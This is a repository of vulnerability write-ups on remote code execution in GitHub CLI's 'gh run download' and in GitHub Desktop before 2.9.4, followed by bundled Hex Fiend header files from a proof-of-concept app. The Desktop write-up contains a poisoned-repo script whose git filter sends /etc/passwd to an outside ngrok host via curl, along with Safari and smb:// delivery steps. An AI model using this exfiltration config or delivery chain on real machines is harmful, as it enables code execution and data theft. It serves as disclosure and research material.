├── README.md ├── rce-gh-cli-run-download └── README.md └── rce-github-desktop-2.9.3 ├── README.md ├── SafariPoC.app └── Contents │ ├── Frameworks │ ├── HexFiend.framework │ │ ├── Headers │ │ ├── HexFiend │ │ ├── Resources │ │ └── Versions │ │ │ ├── A │ │ │ ├── Headers │ │ │ │ ├── HFAssert.h │ │ │ │ ├── HFAttributedByteArray.h │ │ │ │ ├── HFBTreeByteArray.h │ │ │ │ ├── HFBinaryGlyphTable.h │ │ │ │ ├── HFBinaryTextRepresenter.h │ │ │ │ ├── HFByteArray.h │ │ │ │ ├── HFByteArrayEditScript.h │ │ │ │ ├── HFByteRangeAttribute.h │ │ │ │ ├── HFByteRangeAttributeArray.h │ │ │ │ ├── HFByteSlice.h │ │ │ │ ├── HFCancelButton.h │ │ │ │ ├── HFColumnRepresenter.h │ │ │ │ ├── HFColumnView.h │ │ │ │ ├── HFController.h │ │ │ │ ├── HFCustomEncoding.h │ │ │ │ ├── HFEncodingManager.h │ │ │ │ ├── HFFastMemchr.h │ │ │ │ ├── HFFileByteSlice.h │ │ │ │ ├── HFFileReference.h │ │ │ │ ├── HFFrameworkPrefix.h │ │ │ │ ├── HFFullMemoryByteArray.h │ │ │ │ ├── HFFullMemoryByteSlice.h │ │ │ │ ├── HFFunctions.h │ │ │ │ ├── HFGlyphTrie.h │ │ │ │ ├── HFHexGlyphTable.h │ │ │ │ ├── HFHexPasteboardOwner.h │ │ │ │ ├── HFHexTextRepresenter.h │ │ │ │ ├── HFLayoutRepresenter.h │ │ │ │ ├── HFLineCountingRepresenter.h │ │ │ │ ├── HFLineCountingView.h │ │ │ │ ├── HFNSStringEncoding.h │ │ │ │ ├── HFPasteboardOwner.h │ │ │ │ ├── HFProgressTracker.h │ │ │ │ ├── HFRepresenter.h │ │ │ │ ├── HFRepresenterTextView.h │ │ │ │ ├── HFSharedMemoryByteSlice.h │ │ │ │ ├── HFStatusBarRepresenter.h │ │ │ │ ├── HFStringEncoding.h │ │ │ │ ├── HFStringEncodingTextRepresenter.h │ │ │ │ ├── HFTextField.h │ │ │ │ ├── HFTextRepresenter.h │ │ │ │ ├── HFTextView.h │ │ │ │ ├── HFTypes.h │ │ │ │ ├── HFUIUtils.h │ │ │ │ ├── HFVerticalScrollerRepresenter.h │ │ │ │ └── HexFiend.h │ │ │ ├── HexFiend │ │ │ ├── Resources │ │ │ │ ├── HFModalProgress.nib │ │ │ │ └── Info.plist │ │ │ └── _CodeSignature │ │ │ │ └── CodeResources │ │ │ └── Current │ └── Sparkle.framework │ │ ├── Resources │ │ ├── Sparkle │ │ └── Versions │ │ ├── A │ │ ├── Resources │ │ │ ├── Autoupdate.app │ │ │ │ └── Contents │ │ │ │ │ ├── Info.plist │ │ │ │ │ ├── MacOS │ │ │ │ │ ├── Autoupdate │ │ │ │ │ └── fileop │ │ │ │ │ ├── PkgInfo │ │ │ │ │ ├── Resources │ │ │ │ │ ├── AppIcon.icns │ │ │ │ │ ├── SUStatus.nib │ │ │ │ │ ├── en.lproj │ │ │ │ │ │ └── Sparkle.strings │ │ │ │ │ ├── ru.lproj │ │ │ │ │ │ └── Sparkle.strings │ │ │ │ │ └── uk.lproj │ │ │ │ │ │ └── Sparkle.strings │ │ │ │ │ └── _CodeSignature │ │ │ │ │ └── CodeResources │ │ │ ├── DarkAqua.css │ │ │ ├── Info.plist │ │ │ ├── SUModelTranslation.plist │ │ │ ├── SUStatus.nib │ │ │ ├── en.lproj │ │ │ │ ├── SUAutomaticUpdateAlert.nib │ │ │ │ ├── SUUpdateAlert.nib │ │ │ │ ├── SUUpdatePermissionPrompt.nib │ │ │ │ └── Sparkle.strings │ │ │ ├── fr_CA.lproj │ │ │ ├── pt.lproj │ │ │ ├── ru.lproj │ │ │ │ ├── SUAutomaticUpdateAlert.nib │ │ │ │ ├── SUUpdateAlert.nib │ │ │ │ ├── SUUpdatePermissionPrompt.nib │ │ │ │ └── Sparkle.strings │ │ │ └── uk.lproj │ │ │ │ ├── SUAutomaticUpdateAlert.nib │ │ │ │ ├── SUUpdateAlert.nib │ │ │ │ ├── SUUpdatePermissionPrompt.nib │ │ │ │ └── Sparkle.strings │ │ ├── Sparkle │ │ └── _CodeSignature │ │ │ └── CodeResources │ │ └── Current │ ├── Info.plist │ ├── Library │ └── LaunchServices │ │ └── com.ridiculousfish.HexFiend.PrivilegedHelper │ ├── MacOS │ └── Hex Fiend │ ├── PkgInfo │ ├── Resources │ ├── Base.lproj │ │ ├── BinaryTemplateController.nib │ │ ├── BinaryTemplatePopover.nib │ │ ├── ChooseStringEncodingDialog.nib │ │ ├── DataInspectorView.nib │ │ ├── DiffComputationBanner.nib │ │ ├── DiffDocument.nib │ │ ├── DiffRangeDialog.nib │ │ ├── FindReplaceBanner.nib │ │ ├── InfoPlist.strings │ │ ├── JumpToOffsetBanner.nib │ │ ├── MainMenu.nib │ │ ├── MoveSelectionByBanner.nib │ │ ├── MyDocument.nib │ │ ├── OpenAccessoryView.nib │ │ ├── OpenDriveDialog.nib │ │ ├── Preferences.nib │ │ └── SaveBanner.nib │ ├── dsa_pub.pem │ ├── hex_icon.icns │ └── hexf │ └── _CodeSignature │ └── CodeResources ├── github_desktop_openlocalrepo_safari.gif ├── make_evil_repo.sh ├── make_safari_poc.sh ├── safari.html ├── safari.zip ├── safari_open_safe.png └── smb.html /README.md: -------------------------------------------------------------------------------- 1 | # write-ups 2 | 3 | [RCE in Github Desktop Code execution that requires minimal, expected user interaction, such as performing actions on a repository that a user would not expect to lead to code execution 37 | 38 | IMO, the report should have been triaged and rewarded at least at "Medium" severity. 39 | Real CVSS is high, though. 40 | 41 | 42 | ## Writing to `/.git/` with `gh run download` 43 | 44 | ``` 45 | USAGE 46 | gh run download [] [flags] 47 | 48 | FLAGS 49 | -D, --dir string The directory to download artifacts into (default ".") 50 | ``` 51 | 52 | By default, `gh run download` command puts artifacts in the current dir. It can't overwrite files though, only create new ones. There are also no restrictions on the name/path of the files to be written (only path traversal check). 53 | 54 | It means, it's possible to craft an artifact that creates new files in `/.git/*` upon `gh run download`. 55 | 56 | ## Achieving code execution with `.git/commondir` 57 | 58 | [What's `.git/commondir`?](https://git-scm.com/docs/gitrepository-layout#Documentation/gitrepository-layout.txt-commondir) 59 | > **commondir** 60 | > If this file exists, $GIT_COMMON_DIR (see git[1]) will be set to the path specified in this file if it is not explicitly set. If the specified path is relative, it is relative to $GIT_DIR. The repository with commondir is incomplete without the repository pointed by "commondir". 61 | 62 | With `.git/commondir` it's possible to re-define `$GIT_COMMON_DIR` for the current repository and therefore supply an attacker-crafted `.gitconfig` for the repo. 63 | This effectively allows the attacker to run arbitrary commands once user (or any of user's devtools) run any git command (e.g., git fetch or similar). 64 | 65 | **Step-by-step** 66 | 67 | 1. `gh run download` 68 | 2. the downloaded artifact has fileee `.git/commondir` pointing to `./poc` and `.git/poc` git repository with malicious `.gitconfig` 69 | 3. gh cli writes artifact files to `.git` 70 | 3. now the actual gitconfig in effect isn't `/.git/config`, but `.git/poc/config` 71 | 3. user tooling interacts with the repository (regular `git diff` in github desktop) OR user runs some git command (e.g., `git fetch`) 72 | 4. code execution! 73 | 74 | > A malicious payload can be achieved through gitconfig properties (core.gitproxy, core.sshCommand, credential.helper), git hooks (see below), git filters. 75 | 76 | ## Achieving code execution with git hooks 77 | 78 | > it's possible to leverage `commondir` scenario to re-define `core.hooksPath` and make executable hooks a part of the repository. In this case, they'll have `+x` flag, and rce via git hooks will be accomplishable. 79 | 80 | There is a well-known issue of `actions/upload` [reseting file permissions](https://github.com/actions/upload-artifact/issues/38) of artifacts. 81 | > Funny enough, adding `+x` to all artifacts initially was a (default behaviour)[https://github.com/actions/upload-artifact/issues/20]. 82 | 83 | Thus, at this moment the malicious hooks written into `.git/hooks` are not executable :( 84 | But this scenario will be actual as soon as the above-mentioned issue is fixed. 85 | 86 | > I can't imagine someone managing to have all of possible client-side git hooks (even non-standard!) configured, so there always be a place for a malicious one (+ git-p4* hooks). 87 | ``` 88 | applypatch-msg pre-commit commit-msg pre-merge fsmonitor-watchman pre-merge-commit post-applypatch pre-push 89 | post-checkout pre-rebase post-index-change pre-receive post-merge prepare-commit-msg 90 | post-rewrite push-to-checkout post-update reference-transaction pre-applypatch sendemail-validate pre-auto-gc update 91 | ``` 92 | In this scenario malicious code will be executed upon running any porcelain git command: `git fetch`, `pull`, `push`, `checkout`, `commit`, `merge`, `rebase`, `am`, `add`, `rm`. 93 | 94 | ## Impact 95 | 96 | Manipulation of repository configuration leading to code execution. 97 | 98 | The attack can be **carried out unnoticeable** for the victim running `git status` or similar, because it's possible to drop the payload directly into the `.git` folder. 99 | 100 | The attack can be effectively used by an insider against other contributors to the same repository (it's very unlikely someone checks .git folder everytime they pull new artifacts). 101 | 102 | ## Similar bugs in git 103 | 104 | Here's a quote from [git/git release notes](https://github.com/git/git/commit/f1b50ec6f85883c483b344442c69cd3d88b38380) about [CVE-2022-24765](https://nvd.nist.gov/vuln/detail/CVE-2022-24765), which is pretty similar: 105 | 106 | > Merely having a Git-aware prompt that runs `git status` (or `git diff`) and navigating to a directory which is supposedly not a Git worktree, or opening such a directory in an editor or IDE such as VS Code or Atom, will potentially run commands defined by that other user. 107 | 108 | [CVE-2022-24765](https://nvd.nist.gov/vuln/detail/CVE-2022-24765) description: 109 | > Git Bash users who set `GIT_PS1_SHOWDIRTYSTATE` are vulnerable as well. Users who installed posh-gitare vulnerable simply by starting a PowerShell. Users of IDEs such as Visual Studio are vulnerable: simply creating a new project would already read and respect the config specified in ..... Users of the Microsoft fork of Git are vulnerable simply by starting a Git Bash. 110 | 111 | ## Response from Github 112 | 113 | Hi @metnew, 114 | 115 | Thanks again for this submission and for your patience while we investigated it! We thoroughly analyzed this finding and determined that this behavior is working as expected. [As stated in the CLI documentation for the `gh run download` command](https://cli.github.com/manual/gh_run_download), this command is intended to: 116 | > Download artifacts generated by a GitHub Actions workflow run. 117 | > The contents of each artifact will be extracted under separate directories based on the artifact name. If only a single artifact is specified, it will be extracted into the current directory. 118 | 119 | Furthermore, expoiting this finding requires social engineering and user interaction, which is considered out of scope for the CLI, [as noted in our bounty site](https://bounty.github.com/targets/github-cli.html): 120 | > Code execution requiring social-engineering or unlikely user interaction is typically not eligible for rewards. 121 | 122 | Even though your report is ineligible for a full bounty reward, we appreciate you bringing this issue to our attention. As thanks for your submission, we would like to offer you a small award. If you would like to donate your reward and have it matched by GitHub, [please follow the instructions for submitting a donation request to HackerOne](https://bounty.github.com/#receiving_your_award). 123 | 124 | Best regards and happy hacking! -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/README.md: -------------------------------------------------------------------------------- 1 | # RCE in [GitHub Desktop](https://github.com/desktop/desktop) < 2.9.4 2 | 3 | ![](github_desktop_openlocalrepo_safari.gif) 4 | 5 | **[High-res Safari PoC screencast](https://drive.google.com/file/d/1QTEtoT_RyZz3ZtFpND82rD_nyXKHDF8L/view?usp=sharing)** 6 | 7 | 8 | - [RCE in GitHub Desktop < 2.9.4](#rce-in-github-desktop--294) 9 | - [Intro](#intro) 10 | - [Summary](#summary) 11 | - [Details (< v2.9.4)](#details--v294) 12 | - ["openlocalrepo" URL command](#openlocalrepo-url-command) 13 | - [Crafting a "poisoned" git repository](#crafting-a-poisoned-git-repository) 14 | - [Achieving code execution](#achieving-code-execution) 15 | - [Delivering a malicious repository on local FS](#delivering-a-malicious-repository-on-local-fs) 16 | - [Attack scenarios](#attack-scenarios) 17 | - [Impact & fix](#impact--fix) 18 | 19 | # Intro 20 | 21 | It's obvious why `git` was [selected by Google](news/google-commits-to-solving-security-problems-in-open-source-projects-like-git-and-laravel/) for a security audit as a top-priority open-source project git. 22 | 23 | `git` is a dumb version tracker used by every software engineer for collaboration. 24 | 25 | `git`'s destiny is to make developers' collaboration efficient. Therefore, `git` needs different functionalities that execute local programs for remote communication, compression, code diffing, and formatting. 26 | 27 | On top of this, git is a fundamental primitive for deploying, scaling, and managing source code and releases. Things like git-lfs make git accessible to a broad scope of potential users. 28 | 29 | # Summary 30 | 31 | `openlocalrepo` [URI command](https://github.com/desktop/desktop/blob/18238077aa1e4851e710cfa66587cd4fd597bacd/app/src/cli/commands/open.ts#L35) in GitHub Desktop < 2.9.4 allows importing a crafted repository with malicious payload in `/.git/config` on the targeted machine leading to code execution. 32 | 33 | > See this folder for exploits and related utils. 34 | 35 | # Details (< v2.9.4) 36 | 37 | ## "openlocalrepo" URL command 38 | 39 | Unlike `openrepo` URI command, `openlocalrepo` doesn't ask the user to confirm local repository import. 40 | `github-mac://openlocalrepo/` command immediately imports the specified local repository into GitHub Desktop app. 41 | 42 | ## Crafting a "poisoned" git repository 43 | 44 | It's possible to insert malicious git configuration in `.git/config`. Of course, it's impossible to drop such a repo through `git clone`, but who said we need `git clone`? 45 | 46 | ```bash 47 | mkdir -p /tmp/evil 48 | cd /tmp/evil 49 | git init 50 | cat > ./.git/config<<- EOM 51 | [filter "any"] 52 | smudge = curl --data-binary "@/etc/passwd" https://metnew.ngrok.io/smudge 53 | clean = curl --data-binary "@/etc/passwd" https://metnew.ngrok.io/clean 54 | EOM 55 | touch example 56 | git add ./example 57 | git commit -m 'commit' 58 | echo "* text filter=any" > .gitattributes 59 | ``` 60 | 61 | > Make sure to replace the test payload 62 | > To confirm the config is poisoned, run `git status` inside the repo 63 | 64 | This repo has [git filters](https://git-scm.com/book/en/v2/Customizing-Git-Git-Attributes) that GitHub Desktop will execute as soon as the repo is imported into the app. 65 | When Desktop imports the repo, it'll run `any` filter for `.gitattributes` because this file hasn't been committed yet. 66 | 67 | ## Achieving code execution 68 | 69 | At this point, we know the following things: 70 | 71 | - importing a local repo using `openlocalrepo` URI command doesn't require user confirmation (except for running the URL command in the browser). 72 | - importing a local repo may lead to code execution 73 | 74 | That means **running a URL command can lead to malicious code execution**. 75 | 76 | ## Delivering a malicious repository on local FS 77 | 78 | Approach to payload delivery depends on what we already know about the target, specifically: 79 | 80 | **Q:** What's the targeted device's OS/browser/username? 81 | 82 | > it's possible to guess OS/browser from User-Agent 83 | > it's possible to uncover OS username by navigating user browser to `ssh://` link (if the user confirms -> an SSH session will start with the current username). 84 | > There are other esoteric methods like stealing the OS username by sending an HTML file to the target (and disclosing the full path using JS later). 85 | 86 | **Safari: `"Open 'safe' files"` isn't that safe** 87 | 88 | **By default**, Safari has **"Open 'safe' files after downloading"** option enabled. 89 | Thus, running `location.href = "./payload.zip"` makes Safari unzipping the archive to `~/Downloads/evil` **without any user interaction**. 90 | 91 | **Delivering malicious files with `smb://`** 92 | 93 | If it's macOS or Windows, we can drop the folder with `location.href="smb://publicshare"` 94 | In macOS, it requires not more than a single click from the targeted user. 95 | 96 | **Esoteric methods: Keybase, Google Drive, etc.** 97 | 98 | I described some alternative payload delivery methods (Keybase, GDrive, iCloud, etc.) in [this write-up about `.terminal` files](https://medium.com/@metnew/exploiting-popular-macos-apps-with-a-single-terminal-file-f6c2efdfedaa). 99 | 100 | **Delivering the payload w iCloud links (macOS 10.15)** 101 | 102 | URLs like `icloud-sharing://www.icloud.com/iclouddrive/0sW3_56zbqY0Exxxxxxxxxxxx#evil` on macOS 10.15 automatically download folders from the web to the user's local iCloud files. 103 | 104 | **Delivery summary** 105 | 106 | **Hypothesis**: delivering a malicious folder to the device doesn't require more than one click from the target. 107 | 108 | > Because `smb://` strategy allows doing this on both macOS and Win in no more than one click and **doesn't have any specific requirements** (e.g., OS username, OS settings, etc.). 109 | 110 | > **NOTE:** I don't have a Win machine. But from what I remember, Win could mount public shares without triggering a dialog at all. Can someone check this, please? 111 | 112 | ## Attack scenarios 113 | 114 | **Safari attack scenario** 115 | 116 | **[PoC Screencast](https://drive.google.com/file/d/1QTEtoT_RyZz3ZtFpND82rD_nyXKHDF8L/view?usp=sharing)** 117 | 118 | 1. User visits the attacker's website 119 | 2. The website downloads a malicious archive. The archive with the malicious repo is extracted to `/Users/user/Downloads/archive` 120 | 3. The website runs `location.href = 'github-mac://openlocalrepo//Users/user/Downloads/archive'`. 121 | 4. pwn. 122 | 123 | **smb:// attack scenario** 124 | 125 | **[PoC Screencast](https://drive.google.com/file/d/1QNDr_qzO-KpKMbKEbZ5YW0IhxBHLuJ_e/view?usp=sharing)** 126 | 127 | > PoC took a bit long, but it's possible to fine-tune the smb server to skip that pause I had in the screencast 128 | 129 | 1. User visits the attacker's website 130 | 2. The website opens `location.href = "smb://guest:guest@publicshare"`. (user confirms) 131 | 3. The archive with the malicious repo is mounted to `/Volumes/share/evil` 132 | 4. The website runs `location.href = 'github-mac://openlocalrepo//Volumes/share/evil'`. 133 | 5. pwn. 134 | 135 | # Impact & fix 136 | 137 | Attacker can run arbitrary code on the targeted device using Github Desktop protocol handler. 138 | 139 | As of version 2.9.4, GitHub Desktop asks for confirmation when opening a local repository :) 140 | 141 | See [this PR](https://github.com/desktop/desktop/pull/12935). 142 | 143 | **Timeline** 144 | 145 | - Aug 29, 2021 - initial report 146 | - Sep 9, 2021 - the vulnerability is confirmed 147 | - Sep 10 2021 - pull request with [fix](https://github.com/desktop/desktop/pull/12935) is available. 148 | - Sep 10, 2021 - GitHub awarded $2K bounty. 149 | 150 | **Bounty concerns** 151 | 152 | I had a slight feeling the bounty was too small. Similar bugs in GitHub Desktop were awarded $5K and $10K bounties. GitHub declares they pay bounties only for Critical issues. The above-described vulnerability requires conditions to exploit, so GitHub Security Team decided to track it as a low severity issue. I'm somewhat ok with this. Maybe I was just too much excited about my finding :) 153 | 154 | **Further research** 155 | 156 | In the following write-up, I'll share how I made over $50K+ on some git bugs and features. Stay tuned :) 157 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Headers: -------------------------------------------------------------------------------- 1 | Versions/Current/Headers -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/HexFiend: -------------------------------------------------------------------------------- 1 | Versions/Current/HexFiend -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Resources: -------------------------------------------------------------------------------- 1 | Versions/Current/Resources -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFAssert.h: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | #if ! NDEBUG 4 | #define HFASSERT(a) assert(a) 5 | #else 6 | #define HFASSERT(a) if (0 && ! (a)) abort() 7 | #endif 8 | 9 | #define HFASSERT_MAIN_THREAD() HFASSERT(NSThread.currentThread.isMainThread) 10 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFAttributedByteArray.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFAttributedByteArray.h 3 | // HexFiend_2 4 | // 5 | // Copyright 2011 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | 10 | 11 | /*! @class HFAttributedByteArray 12 | @brief An extension of HFByteArray that supports attributes. 13 | 14 | HFAttributedByteArray is a subclass of HFByteArray that provides suitable overrides of the HFAttributes category. 15 | */ 16 | 17 | 18 | @class HFByteRangeAttributeArray; 19 | @interface HFAttributedByteArray : HFByteArray { 20 | @private 21 | HFByteArray *impl; 22 | HFByteRangeAttributeArray *attributes; 23 | 24 | } 25 | 26 | @end 27 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFBTreeByteArray.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFBTreeByteArray.h 3 | // HexFiend_2 4 | // 5 | // Created by peter on 4/28/09. 6 | // Copyright 2009 ridiculous_fish. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | NS_ASSUME_NONNULL_BEGIN 12 | 13 | @class HFBTree; 14 | 15 | /*! @class HFBTreeByteArray 16 | @brief The principal efficient implementation of HFByteArray. 17 | 18 | HFBTreeByteArray is an efficient subclass of HFByteArray that stores @link HFByteSlice HFByteSlices@endlink, using a 10-way B+ tree. This allows for insertion, deletion, and searching in approximately log-base-10 time. 19 | 20 | Create an HFBTreeByteArray via \c -init. It has no methods other than those on HFByteArray. 21 | */ 22 | 23 | @interface HFBTreeByteArray : HFByteArray { 24 | @private 25 | HFBTree *btree; 26 | } 27 | 28 | /*! Designated initializer for HFBTreeByteArray. 29 | */ 30 | - (instancetype)init; 31 | 32 | @end 33 | 34 | NS_ASSUME_NONNULL_END 35 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFBinaryGlyphTable.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFHexGlyphTable.h 3 | // HexFiend_2 4 | // 5 | // Copyright © 2020 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | 10 | @interface HFBinaryGlyphTable : NSObject 11 | 12 | - (instancetype)initWithFont:(HFFont *)font; 13 | 14 | @property (readonly) CGFloat advancement; 15 | @property (readonly) const CGGlyph *table; 16 | 17 | @end 18 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFBinaryTextRepresenter.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFBinaryTextRepresenter.h 3 | // HexFiend_2 4 | // 5 | // Copyright 2020 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | 10 | @interface HFBinaryTextRepresenter : HFTextRepresenter 11 | 12 | @end 13 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFByteArray.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFByteArray.h 3 | // HexFiend_2 4 | // 5 | // Copyright 2007 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | 10 | NS_ASSUME_NONNULL_BEGIN 11 | 12 | @class HFByteSlice, HFProgressTracker, HFFileReference, HFByteRangeAttributeArray; 13 | 14 | typedef NS_ENUM(NSUInteger, HFByteArrayDataStringType) { 15 | HFHexDataStringType, 16 | HFASCIIDataStringType 17 | }; 18 | 19 | 20 | /*! @class HFByteArray 21 | @brief The principal Model class for HexFiend's MVC architecture. 22 | 23 | HFByteArray implements the Model portion of HexFiend.framework. It is logically a mutable, resizable array of bytes, with a 64 bit length. It is somewhat analagous to a 64 bit version of NSMutableData, except that it is designed to enable efficient (faster than O(n)) implementations of insertion and deletion. 24 | 25 | HFByteArray, being an abstract class, will raise an exception if you attempt to instantiate it directly. For most uses, instantiate HFBTreeByteArray instead, with the usual [[class alloc] init]. 26 | 27 | HFByteArray also exposes itself as an array of @link HFByteSlice HFByteSlices@endlink, which are logically immutable arrays of bytes. which is useful for operations such as file saving that need to access the underlying byte slices. 28 | 29 | HFByteArray contains a generation count, which is incremented whenever the HFByteArray changes (to allow caches to be implemented on top of it). It also includes the notion of locking: a locked HFByteArray will raise an exception if written to, but it may still be read. 30 | 31 | ByteArrays have the usual threading restrictions for non-concurrent data structures. It is safe to read an HFByteArray concurrently from multiple threads. It is not safe to read an HFByteArray while it is being modified from another thread, nor is it safe to modify one simultaneously from two threads. 32 | 33 | HFByteArray is an abstract class. It will raise an exception if you attempt to instantiate it directly. The principal concrete subclass is HFBTreeByteArray. 34 | */ 35 | 36 | @class HFByteRangeAttributeArray; 37 | 38 | @interface HFByteArray : NSObject { 39 | @private 40 | NSUInteger changeLockCounter; 41 | NSUInteger changeGenerationCount; 42 | } 43 | 44 | /*! @name Initialization 45 | */ 46 | //@{ 47 | /*! Initialize to a byte array containing only the given slice. */ 48 | - (instancetype)initWithByteSlice:(HFByteSlice *)slice; 49 | 50 | /*! Initialize to a byte array containing the slices of the given array. */ 51 | - (instancetype)initWithByteArray:(HFByteArray *)array; 52 | //@} 53 | 54 | 55 | /*! @name Accessing raw data 56 | */ 57 | //@{ 58 | 59 | /*! Returns the length of the HFByteArray as a 64 bit unsigned long long. This is an abstract method that concrete subclasses must override. */ 60 | - (unsigned long long)length; 61 | 62 | /*! Copies a range of bytes into a buffer. This is an abstract method that concrete subclasses must override. */ 63 | - (void)copyBytes:(unsigned char *)dst range:(HFRange)range; 64 | //@} 65 | 66 | /*! @name Accessing byte slices 67 | Methods to access the byte slices underlying the HFByteArray. 68 | */ 69 | //@{ 70 | /*! Returns the contents of the receiver as an array of byte slices. This is an abstract method that concrete subclasses must override. */ 71 | - (NSArray *)byteSlices; 72 | 73 | /*! Returns an NSEnumerator representing the byte slices of the receiver. This is implemented as enumerating over the result of -byteSlices, but subclasses can override this to be more efficient. */ 74 | - (NSEnumerator *)byteSliceEnumerator; 75 | 76 | /*! Returns the byte slice containing the byte at the given index, and the actual offset of this slice. */ 77 | - (nullable HFByteSlice *)sliceContainingByteAtIndex:(unsigned long long)offset beginningOffset:(unsigned long long *_Nullable)actualOffset; 78 | //@} 79 | 80 | /*! @name Modifying the byte array 81 | Methods to modify the given byte array. 82 | */ 83 | //@{ 84 | /*! Insert an HFByteSlice in the given range. The maximum value of the range must not exceed the length of the subarray. The length of the given slice is not required to be equal to length of the range - in other words, this method may change the length of the receiver. This is an abstract method that concrete subclasses must override. */ 85 | - (void)insertByteSlice:(HFByteSlice *)slice inRange:(HFRange)lrange; 86 | 87 | /*! Insert an HFByteArray in the given range. This is implemented via calling insertByteSlice:inRange: with the byte slices from the given byte array. */ 88 | - (void)insertByteArray:(HFByteArray *)array inRange:(HFRange)lrange; 89 | 90 | /*! Delete bytes in the given range. This is implemented on the base class by creating an empty byte array and inserting it in the range to be deleted, via insertByteSlice:inRange:. */ 91 | - (void)deleteBytesInRange:(HFRange)range; 92 | 93 | /*! Returns a new HFByteArray containing the given range. This is an abstract method that concrete subclasses must override. */ 94 | - (HFByteArray *)subarrayWithRange:(HFRange)range; 95 | //@} 96 | 97 | /*! @name Write locking and generation count 98 | Methods to lock and query the lock that prevents writes. 99 | */ 100 | //@{ 101 | 102 | /*! Increment the change lock. Until the change lock reaches 0, all modifications to the receiver will raise an exception. */ 103 | - (void)incrementChangeLockCounter; 104 | 105 | /*! Decrement the change lock. If the change lock reaches 0, modifications will be allowed again. */ 106 | - (void)decrementChangeLockCounter; 107 | 108 | /*! Query if the changes are locked. This method is KVO compliant. */ 109 | - (BOOL)changesAreLocked; 110 | //@} 111 | 112 | /* @name Generation count 113 | Manipulate the generation count */ 114 | // @{ 115 | /*! Increments the generation count, unless the receiver is locked, in which case it raises an exception. All subclasses of HFByteArray should call this method at the beginning of any overridden method that may modify the receiver. 116 | @param sel The selector that would modify the receiver (e.g. deleteBytesInRange:). This is usually _cmd. */ 117 | - (void)incrementGenerationOrRaiseIfLockedForSelector:(SEL)sel; 118 | 119 | /*! Return the change generation count. Every change to the ByteArray increments this by one or more. This can be used for caching layers on top of HFByteArray, to known when to expire their cache. */ 120 | - (NSUInteger)changeGenerationCount; 121 | 122 | //@} 123 | 124 | 125 | 126 | /*! @name Searching 127 | */ 128 | //@{ 129 | /*! Searches the receiver for a byte array matching findBytes within the given range, and returns the index that it was found. This is a concrete method on HFByteArray. 130 | @param findBytes The HFByteArray containing the data to be found (the needle to the receiver's haystack). 131 | @param range The range of the receiver in which to search. The end of the range must not exceed the receiver's length. 132 | @param forwards If this is YES, then the first match within the range is returned. Otherwise the last is returned. 133 | @param progressTracker An HFProgressTracker to allow progress reporting and cancelleation for the search operation. 134 | @return The index in the receiver of bytes equal to findBytes, or ULLONG_MAX if the byte array was not found (or the operation was cancelled) 135 | */ 136 | - (unsigned long long)indexOfBytesEqualToBytes:(HFByteArray *)findBytes inRange:(HFRange)range searchingForwards:(BOOL)forwards trackingProgress:(nullable HFProgressTracker *)progressTracker; 137 | //@} 138 | 139 | @end 140 | 141 | 142 | /*! @category HFByteArray(HFFileWriting) 143 | @brief HFByteArray methods for writing to files, and preparing other HFByteArrays for potentially destructive file writes. 144 | */ 145 | @interface HFByteArray (HFFileWriting) 146 | /*! Attempts to write the receiver to a file. This is a concrete method on HFByteArray. 147 | @param targetURL A URL to the file to be written to. It is OK for the receiver to contain one or more instances of HFByteSlice that are sourced from the file. 148 | @param progressTracker An HFProgressTracker to allow progress reporting and cancelleation for the write operation. 149 | @param error An out NSError parameter. 150 | @return YES if the write succeeded, NO if it failed. 151 | */ 152 | - (BOOL)writeToFile:(NSURL *)targetURL trackingProgress:(nullable HFProgressTracker *)progressTracker error:(NSError **)error; 153 | 154 | /*! Returns the ranges of the file that would be modified, if the receiver were written to it. This is useful (for example) in determining if the clipboard can be preserved after a save operation. This is a concrete method on HFByteArray. 155 | @param reference An HFFileReference to the file to be modified 156 | @return An array of @link HFRangeWrapper HFRangeWrappers@endlink, representing the ranges of the file that would be affected. If no range would be affected, the result is an empty array. 157 | */ 158 | - (NSArray *)rangesOfFileModifiedIfSavedToFile:(HFFileReference *)reference; 159 | 160 | /*! Attempts to modify the receiver so that it no longer depends on any of the HFRanges in the array within the given file. It is not necessary to perform this operation on the byte array that is being written to the file. 161 | @param ranges An array of HFRangeWrappers, representing ranges in the given file that the receiver should no longer depend on. 162 | @param reference The HFFileReference that the receiver should no longer depend on. 163 | @param hint A dictionary that can be used to improve the efficiency of the operation, by allowing multiple byte arrays to share the same state. If you plan to call this method on multiple byte arrays, pass the first one an empty NSMutableDictionary, and pass the same dictionary to subsequent calls. 164 | @return A YES return indicates the operation was successful, and the receiver no longer contains byte slices that source data from any of the ranges of the given file (or never did). A NO return indicates that breaking the dependencies would require too much memory, and so the receiver still depends on some of those ranges. 165 | */ 166 | - (BOOL)clearDependenciesOnRanges:(NSArray *)ranges inFile:(HFFileReference *)reference 